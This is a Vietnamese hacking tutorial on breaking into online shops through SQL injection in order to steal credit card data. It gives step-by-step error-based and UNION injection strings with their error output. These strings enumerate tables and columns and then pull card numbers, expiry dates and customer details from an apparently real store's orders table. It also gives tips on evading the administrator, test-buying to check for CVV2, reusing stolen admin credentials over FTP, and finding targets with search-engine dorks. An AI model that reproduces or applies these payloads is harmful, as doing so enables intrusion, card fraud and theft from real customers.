Tải bản đầy đủ (.pdf) (6 trang)

HACK SHOP LẤY CREDITCARD BẰNG LỖI INJECTION SQL CHI TIẾT NHẤT-CÓ SHOP THỰC HÀNH

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (303.39 KB, 6 trang )

HACK SHOP LẤY CREDITCARD BẰNG LỖI INJECTION SQL
CHI TIẾT NHẤT-CÓ SHOP THỰC HÀNH
- Tìm và xác định lỗi Injection SQL:
Đến nay vẫn chưa có một từ khoá nào giúp các bạn tìm ra shop sử dụng SQL, vì vậy cần xác định site shop dùng SQL
để hack, thường thì nên dùng từ khoá "shopping asp", "Product", "VP-ASP shopping"...
Sau khi tìm được shop dùng SQL, tại câu lệnh có đoạn cuối tương tự sau: store/viewProduct.asp?ec_products=6620 ta
kiểm tra lỗi bằng cách thêm dấu (‘) vào sau dấu (=),
ví dụ: />Nếu hiện thông báo lỗi (chú ý chỗ in đậm):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' ORDER
BY viewOrder ASC'.
/store/viewProduct.asp, line 114
Nghĩa là site này bị lỗi Injection SQL, ta có thể hack.
- Cấu trúc câu lệnh để hack: Url victim+câu lệnh
Ví dụ: 1%
20table_name%20from%20information_schema.tables))--sp_password
- Đây là 3 câu lệnh cơ bản bạn cần dùng trong quá trình hack lỗi Injection SQL:
1/ Câu lấy table:
%20%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables))--sp_password
Dùng để lấy table tiếp theo:
%20%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables%20where%
20table_name%20not%20in('table_đã_có')))--sp_password
2/ Câu lấy column:
%20%2bconvert(int,(select%20top%201%20column_name% 20from%20information_schema.columns%20where%
20table_name%20='table_cần_lấy_column'))--sp_password
Dùng để lấy column tiếp theo:
%20%2bconvert(int,(select%20top%201%20column_name% 20from%20information_schema.columns%20where%
20table_name%20='table_cần_lấy_column'%20and%20column_name%20not%20in('co lumn_bạn_đã_có)))-
sp_password
3/ Câu khai thác dữ liệu:
%20%2bconvert(int,(select%20top%201tên_column%2B'/'%2btên_column%20from tên_table_muốn_khai_thác))--


sp_password
Để khai thác dữ liệu kế tiếp trên cùng một table bằng:where tên_column not in
%20%2bconvert(int,(select%20top%201têncolumn%2B'/'%2btêncolum%20from%20tên_table_khai_thác%20where%
20tên_colum_chứa_dữ_liệu_đã_có%20not%20in('dữ_liệu_đã_có_của_column_khai_báo_phía_trước)))--sp_password
Chú ý: Phải dùng -sp_password để admin không phát hiện được
Sau đây là ví dụ thực hành, site này có CC:
I/ Xem xét site sau: Các bạn có thể copy các đoạn link màu đỏ cho chạy trên IE để theo dõi kết quả hướng dẫn.
/>Có lỗi Injection SQL
II/ Lấy table:
1/ Lấy table đầu tiên:
1%
20table_name%20from%20information_schema.tables))--sp_password
Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'donations' to a
column of data type int.
/store/viewProduct.asp, line 114
'donations' là table đầu tiên
2/ Lấy table kế tiếp: />20top%20 1%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in
('donations' )))--sp_password
Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Editor' to a column of
data type int.
/store/viewProduct.asp, line 114
'Editor' là table thứ 2
3/ Table thứ 3:
1%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in
('donations' ,'Editor')))--sp_password

Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'bills' to a column of
data type int.
/store/viewProduct.asp, line 114
Và các bạn làm tương tự để lấy hết table, đến khi không xuất hiện thêm table là hết.
Kết quả:
1%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in
('donations' ,'Editor','bills','bills_20040213','billsCandidate s','billsCandidates_20040213','billsCandidatesImpo
rt','candidates','candidates_20040213','candidates New','contribute','dtproperties','ec_categories','
ec_orders','ec_priceBreaks','ec_products','ec_regi on','ec_shippers','ec_shippingOrders','ec_supplier
s','ec_territory','Editor_letters','Editor_queue', 'Editor_recipients','emailUpdates','MinnesotaHouse
RollCallVotes','MinnesotaSenateRollCallVotes','off ices','parties','party','Postcards','PostcardsBlac
klist','ppmsd','sbEntries','siteSection','storetem p','stories','storyCategories','subjects','syscons
traints','syssegments','tblConstitutionalOfficerSl ate','tblConstitutionalOfficerSlate$','tblStateLeg
2002_Query','users','users_choice','vw_contribute_ pending','vw_contribute_processed')))--sp_password
II/ Lấy column:
Chú ý các table chứa dữ liệu quan trọng liên quan đến CC và pass admin thường có tên: orders, user, tbloders, tbluser...
1/ Khai thác column đầu tiên trong table 'ec_orders':
1%
20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'))--
sp_password
Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'firstname' to a
column of data type int.
/store/viewProduct.asp, line 114
'firstname' là column đầu tiên trong table 'ec_orders'
2/ Lấy column tiếp theo:

1%
20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'%20and%
20column_name%20not%20in('firstname')))--sp_password
Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'lastname' to a column
of data type int.
/store/viewProduct.asp, line 114
3/ Làm tương tự để khai thác hết column của table này:
Kết quả:
1%
20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'%20and%
20column_name%20not%20in
('firstname','lastname','email','orgName','address','city','state','zip','tele_areacode','tele_first','tele_last','credit_card','card
_number','ExpDate_month','ExpDa
te_year','timestamp','shippedDate','orderNumber','shipped','billing_firstname','billing_lastname'lastname',
'billing_email','billing_orgName','billing_address ','billing_city','billing_state','billing_zip','bi
lling_tele_areacode','billing_tele_first','billing
_tele_last','nameOnCard','survey_nameOfPerson','survey_materials','survey_
emailAddress','survey_findMethod','survey_interest ed','po_number')))--sp_password
III/ Khai thác CC:
Các bạn chú ý các column quan trọng trong table 'ec_orders' đã được in đậm:
1/ Khai thác 'credit_card','card_number' trong 'ec_orders' :
1%
20credit_card%2b'/'%2bcard_number%20from%20ec_orders))--sp_password
Các bạn dùng link trên để xem kết quả (vì nội quy của From nên không đưa kết quả ra)
Tương tự, lấy kết quả kế tiếp:
1%
20credit_card%2b'/'%2bcard_number%20from%20ec_orders%20where%20card_ number%20not%20in
('card_number-bạn_đã_có_ở_trên')))--sp_password

Số column truy vấn tùy thuộc vào ý thích của mỗi bạn. Dùng %2b'/'%2b nghĩa là hiển thị kết quả có phân cách bằng
dấu (/) để dễ nhận biết.
Các bạn lưu ý: số column truy vấn càng nhiều thì khả năng truy xuất dữ liệu càng thấp vì câu lệnh không hiểu những
khoảng trống không có dữ liệu. Tốt nhất là thử với 1 column kiểm tra kết quả, sau đó thêm column kế tiếp vào câu
lệnh truy xuất.
Câu lệnh truy xuất hoàn chỉnh trong table ec_orders của site này (các bạn dùng link này để xem kết qu&#7843 :
1%
20firstname%2b'/'%2blastname%2b'/'%2bemail%2b'/'%2borgName%2b'/'%2baddress%2b'/'%2bcredit_card%2b'/'%
2bcard_number%2b'/'%2bExpDate_month%2b'/'%2bExpDate_year%2b'/'%2bnameOnCard%2b'/'%2bcity%2b'/'%
2bstate%2b'/'%2bzip%20from%20ec_orders))--sp_password
Tương tự bạn có thể làm với các table khác để lấy dữ liệu của admin, customer...
IV/ Một số kinh nghiệm trong quá trình hack shop bằng lỗi Injection SQL:
- Sau khi phát hiện site lỗi Injecton SQL, bạn nên mua thử một món hàng nào đấy trên site này để kiểm tra các thông
tin sau: có cho phép dùng CC mua không, CC có cvv2, thanh toán online trên site bị lỗi hay trên một site khác,
customer đăng nhập mua hàng có dùng password không...tất cả những thông tin liên quan đến việc mua bán để xác
định có nên hack site này không.
- Nên khai thác đầu tiên là creditcard_number , nếu không có, có khả năng site đã fix dữ liệu hoặc dùng một site khác
để thanh toán.
- Khi lấy được user/pass của admin cần dùng nó để đăng nhập server với giao thức ftp, ví dụ: />nếu maymắn bạn có thể làm chủ server và không cần phải phí công nhiều trong khi hack.
- Thường các site này hay dấu link để đăng nhập quyền admin, bạn cần chịu khó tìm, và dùng chương trình scan Url
của trang này để tìm trang đăng nhập.
- Có một số trường hợp, site bị lỗi Injectjon nhưng hiện trang báo lỗi: The page cannot be
displayed, bạn cần chú ý phía bên dưới để phát hiện thông báo lỗi của Injection SQL, ví dụ:
The page cannot be displayed
There is a problem with the page you are trying to reach and it cannot be displayed.
...................
HTTP 500.100 - Internal Server Error - ASP error
Internet Information Services
Technical Information (for support personnel)
Error Type:

Provider ('80040e14')
Type mismatch.
/shopping/shop$db.asp, line 875
Browser Type:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Page:
GET /shopping/shopdisplayproducts.asp
Time:
Friday, February 27, 2004, 11:20:19 PM
More information:
Microsoft Support />prd=iis&sbp=&pver=5.0&ID=500;100&cat=Provider&os=&over=&hrd=&Opt1=&Opt2=%
2D2147352571&Opt3=Type+mismatch%2E
TUTORIAL NÀY KHÔNG BIẾT TÁC GIẢ
Thực ra thì cái lỗi này có từ lâu rồi , nhưng các bạn biết tại sao mà nó còn nhiều khơng , rất nhiều , rất nhiều . Bỡi vì
đơn giản là " nhác " . Jet database có nhiều cách , nhưng làm theo cách này newbie dễ hiễu và cũng khơng cần làm gì
ngồi việc thêm dòng lệnh sau url bị lỗi cả .Bắt đầu
1. Vào google search từ khố :proddetail.asp?prod=* < * ỡ đây các bạn có thễ thay thế = bất cứ số nào 1, 2,3 ... hay
100 , 200 , tuỳ >
2. Thêm dấu ' đễ tìm site có lỗi
3. Nhận biết site có lỗi = dòng sau
CODE
Microsoft JET Database Engine error '80040e14'
The number of columns in the two selected tables or queries of a union query do not match.
/Retail/vsadmin/inc/incproddetail.asp, line 33
4. Ví dụ cụ thễ , tơi check thữ site />Thêm dấu ' vào sau 23305 ok ??
Lỗi hiện ra
CODE
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query _expression 'pId='23305'''.
/proddetail.asp, line 246

Bắt đầu khai thác nhé các bạn , tìm table và collumn của nó = lệnh truy vấn sau :
QUOTE
%27union%20select%201%20from%20admin
Sau khi thêm câu lệnh vào link ta được : />201%20from%20admin
Ta được
QUOTE
Microsoft JET Database Engine error '80040e14'
The number of columns in the two selected tables or queries of a union
query do not match.
/proddetail.asp, line 246
Á , sai rùi , đùa đấy , lỗi vừa rồi nói rằng : có tồn tại giá trị collumn chứa thơng tin admin á , check tiếp
Thêm ,2 vào sau select%201 .
CODE
201,2%20from%20admin
A nó cũng báo y như trên
CODE
Microsoft JET Database Engine error '80040e14'
The number of columns in the two selected tables or queries of a union
query do not match.
/proddetail.asp, line 246

×